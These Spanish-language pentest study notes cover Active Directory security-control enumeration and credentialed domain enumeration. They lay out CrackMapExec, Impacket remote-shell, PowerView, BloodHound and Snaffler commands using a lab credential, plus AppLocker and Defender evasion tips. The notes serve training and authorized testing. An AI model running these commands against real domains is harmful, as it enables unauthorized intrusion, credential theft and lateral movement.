Skip to content

Enumerating Security Controls & Credentialed Enumeration ​

Herramientas ​


Enumeración de controles de seguridad ​

Antes de ejecutar herramientas ofensivas en un host, conviene identificar qué controles de seguridad están activos — determina si hace falta ofuscación/evasión (ver command_injection_filter_evasion.md para técnicas generales aplicables) antes de que las siguientes fases generen alertas o directamente sean bloqueadas.

Windows Defender ​

powershell
Get-MpComputerStatus

Revisar específicamente:

  • RealTimeProtectionEnabled : si es True, el escaneo en tiempo real está activo — cualquier binario/script escrito a disco será inspeccionado inmediatamente.
  • AMServiceEnabled : si el servicio de Defender está corriendo en absoluto.
  • IsTamperProtected : si True, impide deshabilitar Defender vía PowerShell/registro incluso con privilegios administrativos locales — solo se puede desactivar desde la interfaz gráfica con confirmación manual, o vía política de grupo desde el dominio.

Si todos estos están en True, hay que evitar tocar disco (ejecución en memoria, IEX con contenido descargado) y anticipar que AMSI inspeccionará el contenido de scripts PowerShell/VBA antes de ejecutarlos, independientemente de si tocan disco o no.

AppLocker ​

powershell
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

Si la política bloquea powershell.exe en su ruta estándar, probar rutas alternativas del mismo binario que a veces quedan fuera de las reglas (por ejemplo, si la regla apunta específicamente a C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe):

powershell
%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  • Revisar también si existen binarios LOLBAS (Living Off the Land Binaries) no cubiertos por la política, que pueden usarse para lograr ejecución de código equivalente sin invocar PowerShell directamente — ver https://lolbas-project.github.io/ para el catálogo completo.

PowerShell Constrained Language Mode ​

powershell
$ExecutionContext.SessionState.LanguageMode
  • FullLanguage : sin restricciones.
  • ConstrainedLanguage : bloquea acceso a APIs .NET arbitrarias, Add-Type, invocación de métodos COM, y varias funciones avanzadas — la mayoría de frameworks ofensivos de PowerShell (PowerView, Inveigh) dependen de estas capacidades y fallarán parcial o totalmente.
  • Cuando Constrained Language está activo, priorizar herramientas escritas en C#/binarios compilados (SharpView, SharpHound, Rubeus) en vez de sus equivalentes en PowerShell, ya que no dependen del motor de scripting restringido.

LAPS (Local Administrator Password Solution) ​

LAPS rota automáticamente la contraseña del administrador local de cada equipo del dominio, almacenándola cifrada/protegida en un atributo LDAP del objeto de la computadora — el objetivo ofensivo es identificar qué cuentas/grupos tienen permiso de lectura sobre ese atributo.

powershell
# Ver OUs con LAPS habilitado y qué grupos tienen delegación de lectura
Find-LAPSDelegatedGroups

# Ver qué principals tienen "Extended Rights" (permiso de leer las contraseñas LAPS)
Find-AdmPwdExtendedRights

# Leer las contraseñas LAPS accesibles con las credenciales actuales
Get-LAPSComputers
  • Si el usuario/grupo actual tiene permiso de lectura sobre el atributo LAPS de algún equipo (a menudo por una delegación mal configurada o excesivamente amplia), Get-LAPSComputers devuelve la contraseña de administrador local en texto plano de ese equipo — un salto directo a acceso administrativo local sin necesidad de crackear ni explotar nada.

Enumeración con credenciales — desde Linux ​

CrackMapExec / NetExec ​

c
# Usuarios del dominio
❯ sudo crackmapexec smb 172.16.5.5 -u jsmith -p 'Klmcargo2!' --users

# Grupos del dominio
❯ sudo crackmapexec smb 172.16.5.5 -u jsmith -p 'Klmcargo2!' --groups

# Usuarios con sesión activa en un host específico (útil para identificar dónde está logueado un objetivo de alto valor, como un Domain Admin)
❯ sudo crackmapexec smb 172.16.5.130 -u jsmith -p 'Klmcargo2!' --loggedon-users

# Shares disponibles y permisos
❯ sudo crackmapexec smb 172.16.5.5 -u jsmith -p 'Klmcargo2!' --shares

# Spider de shares — indexa recursivamente todos los archivos accesibles
❯ sudo crackmapexec smb 172.16.5.5 -u jsmith -p 'Klmcargo2!' -M spider_plus --share 'Department Shares'

# Ver el resultado del spider
❯ head -n 10 /tmp/cme_spider_plus/172.16.5.5.json
  • spider_plus genera un inventario JSON completo de nombres de archivo (y opcionalmente contenido/hashes) en el share indicado — mucho más rápido que navegar manualmente cuando el share tiene cientos/miles de archivos, e ideal como entrada para buscar patrones de nombres interesantes (password, backup, config) antes de descargar nada.

Con proxychains, cuando se opera a través de un pivote/túnel establecido previamente:

c
❯ proxychains netexec ldap 172.16.5.5 -u jsmith -p 'Klmcargo2!' --groups 2>/dev/null
❯ proxychains netexec smb 172.16.5.5 -u jsmith -p 'Klmcargo2!' -M spider_plus --share 'Department Shares'

smbmap ​

c
❯ smbmap -u jsmith -p 'Klmcargo2!' -d EMPRESACORP.LOCAL -H 172.16.5.5

Listar directorios recursivamente (solo estructura de carpetas, sin listar archivos individuales — útil para un primer mapeo rápido de shares muy grandes):

c
❯ smbmap -u jsmith -p 'Klmcargo2!' -d EMPRESACORP.LOCAL -H 172.16.5.5 -R 'Department Shares' --dir-only
c
# Flag en minúscula en versiones más recientes de smbmap
❯ smbmap -u jsmith -p 'Klmcargo2!' -d EMPRESACORP.LOCAL -H 172.16.5.5 -r 'Department Shares' --dir-only

rpcclient con credenciales ​

c
❯ rpcclient -U "jsmith%Klmcargo2!" 172.16.5.5
rpcclient $> enumdomusers
rpcclient $> queryuser 0x457
rpcclient $> enumdomgroups
rpcclient $> querygroup 0x201
  • Con credenciales válidas (a diferencia de la sesión nula vista en ad_password_spraying.md), rpcclient suele devolver información considerablemente más completa, ya que muchas configuraciones restringen qué puede consultar una sesión anónima.

Impacket — ejecución remota ​

c
# Shell interactiva vía SMB (similar en concepto a PsExec de Sysinternals)
❯ psexec.py empresacorp.local/jsmith:'Klmcargo2!'@172.16.5.125

# Ejecución remota vía WMI (más silencioso que psexec, no crea ni deja un servicio en el objetivo)
❯ wmiexec.py empresacorp.local/jsmith:'Klmcargo2!'@172.16.5.5
  • Ver Windows-Remote-Management-Protocols.md para el detalle completo de estas y otras herramientas de ejecución remota (WinRM, RDP).

windapsearch ​

c
# Miembros de Domain Admins
❯ python3 windapsearch.py --dc-ip 172.16.5.5 -u jsmith@empresacorp.local -p 'Klmcargo2!' --da

# Usuarios privilegiados (todos los grupos con permisos administrativos)
❯ python3 windapsearch.py --dc-ip 172.16.5.5 -u jsmith@empresacorp.local -p 'Klmcargo2!' -PU

# Todos los usuarios del dominio
❯ python3 windapsearch.py --dc-ip 172.16.5.5 -u jsmith@empresacorp.local -p 'Klmcargo2!' -U

BloodHound.py ​

c
# Recolección completa con nameserver explícito
❯ bloodhound-python -u 'jsmith' -p 'Klmcargo2!' -ns 172.16.5.5 -d empresacorp.local -c all

# Ver todas las opciones disponibles
❯ bloodhound-python -h

# Alternativa especificando el DC directamente por nombre (en vez de -ns)
❯ bloodhound-python -d EMPRESACORP.LOCAL -dc DC01 -c All -u jsmith -p 'Klmcargo2!'

# Comprimir los JSON generados para subir a la interfaz de BloodHound
❯ zip -r empresacorp_bh.zip *.json

# Iniciar la base de datos Neo4j que usa BloodHound
❯ sudo neo4j start

Enumeración con credenciales — desde Windows ​

Módulo ActiveDirectory (cmdlets nativos) ​

powershell
Import-Module ActiveDirectory
Get-Module

Get-ADDomain

# Usuarios con SPN asignado (candidatos a Kerberoasting)
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName

Get-ADTrust -Filter *

Get-ADGroup -Filter * | select name
Get-ADGroup -Identity "Backup Operators"
Get-ADGroupMember -Identity "Backup Operators"

PowerView — enumeración completa ​

powershell
Import-Module .\PowerView.ps1

# Info del dominio y controladores de dominio
Get-Domain
Get-DomainController | select Name, IPAddress
Get-DomainPolicy

Propiedades clave de un usuario específico — ideal para investigar un objetivo puntual identificado previamente (por ejemplo, un miembro de un grupo privilegiado):

powershell
Get-DomainUser -Identity mgarcia -Domain empresacorp.local | Select-Object -Property name,samaccountname,description,memberof,whencreated,pwdlastset,lastlogontimestamp,accountexpires,admincount,userprincipalname,serviceprincipalname,useraccountcontrol
  • admincount : si vale 1, indica que la cuenta es (o fue alguna vez) miembro de un grupo protegido por AdminSDHolder (Domain Admins, Enterprise Admins, etc.) — útil para identificar cuentas de alto privilegio incluso si ya no pertenecen visiblemente a esos grupos.
  • description : campo de texto libre donde administradores a veces dejan notas con contraseñas temporales o pistas — ver la siguiente consulta.

Buscar contraseñas/pistas dejadas en el campo de descripción de todos los usuarios (un hallazgo sorprendentemente común en la práctica):

powershell
Get-DomainUser * | Select-Object samaccountname,description | Where-Object {$_.Description -ne $null}

Usuarios con SPN (Kerberoastables):

powershell
Get-DomainUser -SPN -Properties samaccountname,ServicePrincipalName

Usuarios sin pre-autenticación Kerberos requerida (AS-REP Roastable — ver nota en ad_password_spraying.md sobre Kerbrute):

powershell
Get-DomainUser -PreauthNotRequired | select samaccountname

Membresía de grupo recursiva (incluye grupos anidados dentro de otros grupos — un usuario puede ser Domain Admin indirectamente sin estar listado directamente en ese grupo):

powershell
Get-DomainGroupMember -Identity "Domain Admins" -Recurse

Mapeo de relaciones de confianza (trusts) entre dominios/bosques:

powershell
Get-DomainTrustMapping

Verificar si el usuario actual tiene privilegios de administrador local en un host específico:

powershell
Test-AdminAccess -ComputerName WS01

Buscar shares accesibles en todo el dominio, y dentro de ellos, archivos de interés por extensión:

powershell
Find-DomainShare
Find-InterestingDomainShareFile -Include *.ps1,*.bat,*.txt,*.xml,*.config

Buscar en qué máquinas del dominio el usuario actual tiene privilegios de administrador local (sin necesidad de probarlo host por host manualmente):

powershell
Find-LocalAdminAccess

Buscar dónde tienen sesión activa los miembros de un grupo específico — clave para planear movimiento lateral hacia un objetivo de alto valor:

powershell
Find-DomainUserLocation -UserGroupIdentity "Help Desk Level 1"

Listar las GPOs (Group Policy Objects) del dominio:

powershell
Get-DomainGPO | select displayname

SharpView (versión .NET de PowerView) ​

Útil cuando Constrained Language Mode bloquea PowerView (ver sección de controles de seguridad más arriba):

c
❯ .\SharpView.exe Get-DomainUser -Help
❯ .\SharpView.exe Get-DomainUser -Identity jsmith

SharpHound — recolección de datos para BloodHound ​

c
❯ .\SharpHound.exe --help
❯ .\SharpHound.exe -c All --zipfilename EMPRESACORP

Vía el módulo PowerShell equivalente:

powershell
Import-Module .\Sharphound.ps1
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Users\jsmith.EMPRESACORP\Desktop\ -OutputPrefix "empresacorp"
  • -c All (o -CollectionMethod All) recolecta todas las categorías: sesiones activas, ACLs, membresías de grupo, relaciones de confianza, y objetos GPO — el conjunto de datos más completo posible para el análisis de rutas de ataque en BloodHound.
  • Métodos de recolección más silenciosos y específicos existen (Session, LoggedOn, ACL, Group) cuando se busca minimizar el ruido generado en logs de eventos, a costa de un grafo menos completo.

Snaffler — búsqueda de credenciales en shares ​

c
❯ .\Snaffler.exe -s -d empresacorp.local -o snaffler.log -v data
❯ .\Snaffler.exe -d EMPRESACORP.LOCAL -s -v data
  • -s : muestra el output directamente en consola (además de guardarlo).
  • -d : dominio objetivo.
  • -o : archivo donde guardar el log.
  • -v data : nivel de verbosidad enfocado en archivos de "interés" (credenciales, configuraciones, backups) — Snaffler clasifica automáticamente los hallazgos por nivel de riesgo/interés (rojo/negro para los más críticos), facilitando priorizar qué revisar primero entre potencialmente miles de archivos.

BloodHound — Queries Cypher útiles ​

Más allá de las queries pre-construidas del panel de Analysis, escribir consultas Cypher personalizadas permite responder preguntas muy específicas sobre el grafo de relaciones del dominio.

Usuarios con acceso WinRM (relación CanPSRemote) alcanzable a través de membresía de grupo:

cypher
MATCH p1=shortestPath((u1:User)-[r1:MemberOf*1..]->(g1:Group)) MATCH p2=(u1)-[:CanPSRemote*1..]->(c:Computer) RETURN p2

Usuarios con privilegios de administrador SQL sobre alguna instancia (relevante en combinación con mssql.md — impersonation/xp_cmdshell sobre esa instancia):

cypher
MATCH p1=shortestPath((u1:User)-[r1:MemberOf*1..]->(g1:Group)) MATCH p2=(u1)-[:SQLAdmin*1..]->(c:Computer) RETURN p2

Encontrar el camino más corto desde cualquier usuario hacia Domain Admins (la consulta más usada en la práctica, resume visualmente toda la cadena de ataque más corta disponible):

cypher
MATCH (n),(m:Group {name:'DOMAIN ADMINS@EMPRESACORP.LOCAL'}), p=shortestPath((n)-[*1..]->(m)) RETURN p

Identificar usuarios con Kerberoasting viable directamente desde el grafo (en vez de la enumeración manual con PowerView vista arriba):

cypher
MATCH (u:User {hasspn:true}) RETURN u.name, u.serviceprincipalnames

Queries pre-construidas relevantes en el panel de Analysis ​

  • Find Workstations where Domain Users can RDP : superficie de movimiento lateral inmediata para cualquier cuenta de dominio comprometida, sin necesidad de privilegios especiales.
  • Find Servers where Domain Users can RDP : igual que la anterior, pero sobre servidores (generalmente de mayor valor que estaciones de trabajo).
  • Find Computers with Unsupported Operating Systems : sistemas sin soporte/parches (Windows 7, Server 2008) — candidatos directos para explotación de vulnerabilidades conocidas sin parchear.
  • Users with Foreign Domain Group Membership : relevante en entornos multi-dominio/bosque, revela posibles rutas de escalada entre dominios de confianza.
  • Map Domain Trusts : visualización completa de todas las relaciones de confianza del entorno — punto de partida para evaluar ataques de trust abuse entre dominios/bosques.

Notas de metodología ​

  • Correlacionar los hallazgos de esta fase con los de ad_password_spraying.md: cualquier credencial válida obtenida por spraying debe reutilizarse inmediatamente aquí para maximizar la cobertura de enumeración (BloodHound, PowerView, Snaffler) antes de intentar escalar privilegios por otra vía.
  • Priorizar la recolección de BloodHound tan pronto como se tenga la primera credencial de dominio válida, incluso de bajo privilegio — el grafo de relaciones suele revelar rutas de ataque no evidentes por enumeración manual (ACLs mal configuradas, delegaciones excesivas) que estructuran el resto del engagement.
  • Documentar los hallazgos de description con contraseñas expuestas y de LAPS con permisos de lectura excesivos como hallazgos de alto impacto independientes, incluso si no se llega a usar esa información para escalar más allá — reflejan fallos de proceso (higiene de datos, gestión de delegaciones) que la organización debe corregir independientemente del resto de la cadena de ataque.